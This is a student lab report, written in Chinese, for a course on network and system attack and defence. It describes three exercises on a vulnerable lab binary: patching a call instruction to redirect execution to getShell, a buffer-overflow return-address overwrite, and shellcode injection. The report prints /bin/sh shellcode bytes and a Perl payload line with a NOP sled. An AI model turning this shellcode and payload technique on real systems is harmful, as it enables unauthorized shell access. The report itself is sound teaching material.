20232401 2025-2026-1 《網絡與系統攻防技術》實驗一實驗報告
學號 2025-2026-1 《網絡與系統攻防技術》實驗一實驗報告
1.實驗內容
1.1 目標任務
- a.對一個存在漏洞的pwn文件,直接修改其機器指令從而改變執行過程,運行getShell得到可用Shell
- b.對一個存在漏洞的pwn文件,通過構造特殊的輸入字符串覆蓋返回地址從而跳轉執行getShell函數
- c.對一個存在漏洞的pwn文件,注入shellcode并運行得到可用Shell
1.2 學習內容
- a.掌握反匯編、gdb調試與十六進制編輯器
- b.能正確修改機器指令改變程序執行流程
- c.能正確構造payload進行BOF攻擊
2.實驗過程
2.1 環境準備
-
下載kali鏡像文件,并掛載在VMWare上
![Screenshot 2025-10-12 155529]()
-
通過共享文件夾傳遞實驗文件pwn1
![Screenshot 2025-10-12 155701]()
2.2 通過直接修改程序機器指令getShell
-
通過objdump命令對實驗文件進行反匯編,查看核心源代碼
![d4a34d47d76ee7d817f3eab8496e96dc]()
-
通過查看得知main函數調用foo對應的機器指令為
e8 d7ffffff,foo函數位于地址0x08048491處,CPU跳轉執行EIP + 0xd7ffffff這個位置的指令,0xd7ffffff是-41的補碼,因此可以計算出EIP保存的值為0x080484ba,現在我們希望通過修改e8 d7ffffff來使程序跳轉執行getShell,因此先查看getShell函數的地址addr<getShell>為0x0804847d,計算addr<getShell>-EIP得到操作數c3ffffff,因此將機器指令e8 d7ffffff修改為e8 c3ffffff即可,以下為修改過程
![image]()
![image]()
![image]()
![image]()
![image]()
![image]()
2.3 構造輸入進行BOF攻擊
- 通過反匯編觀察計算,我們知道foo函數使用了一個只預留28(0x1c)字節的緩沖區來讀取字符串,call調用foo,同時在堆棧上壓上返回地址值
0x080484ba,我們通過gdb調試找到覆蓋返回地址的注入點即能構造輸入跳轉執行getShell,以下為具體過程
![1fecf5ae4a541999a792a99364194542]()
![image]()
2.4 ShellCode注入
-
準備Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ -
修改程序執行環境:設置堆棧可執行,關閉地址隨機化
![image]()
-
選擇payload構造結構:
anything+retaddr+nop+shellcode,前面計算字符串緩沖區可知返回地址之前有32字節需要填充,所以anything部分為'A'x32,我們要確定的是retaddr的值,可知要執行的shellcode就在retaddr的后面(落在nop上會自動滑行至shellcode部分),因此我們輸入payloadprint "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"(perl)來進行調試,如圖 -
首先將payload作為輸入給到程序
![image]()
-
在另一窗口中找到PID進入gdb調試
![image]()
-
在gdb中foo的返回函數處設置斷點
![image]()
-
繼續執行至斷點處,查看esp中的值,找到返回函數的地址,查看確認是我們所預設的位置,由此可以得到shellcode地址為
0xffffcf90
![image]()
-
將返回地址修改為shellcode地址,輸入執行即可得到shell
![image]()
3.問題及解決方案
- 問題1:無法下載execstack
- 問題1解決方案:在網絡上下載execstack的deb包,在虛擬機內本地安裝
4.學習感悟、思考等
在本次實驗中我系統了解了BOF漏洞的原理和利用方法,尤其對ShellCode注入有了更深的理解,在首次進行實驗時,我急于驗證方法的正確性,直接將完整的ShellCode進行注入,結果失敗,后來一步步分析,發現是返回地址找錯了,這一過程使我更加深入地了解了ShellCode注入方法。完成ShellCode注入后有一種成就感,但本實驗是在設置了堆棧可執行且關閉了地址隨機化,真實的BOF攻擊往往會更加復雜,相關的程序員更要從多個角度加強程序安全性,抵御類似的攻擊,一旦對方攻擊成功拿到Shell很可能會造成極大的損失。


















浙公網安備 33010602011771號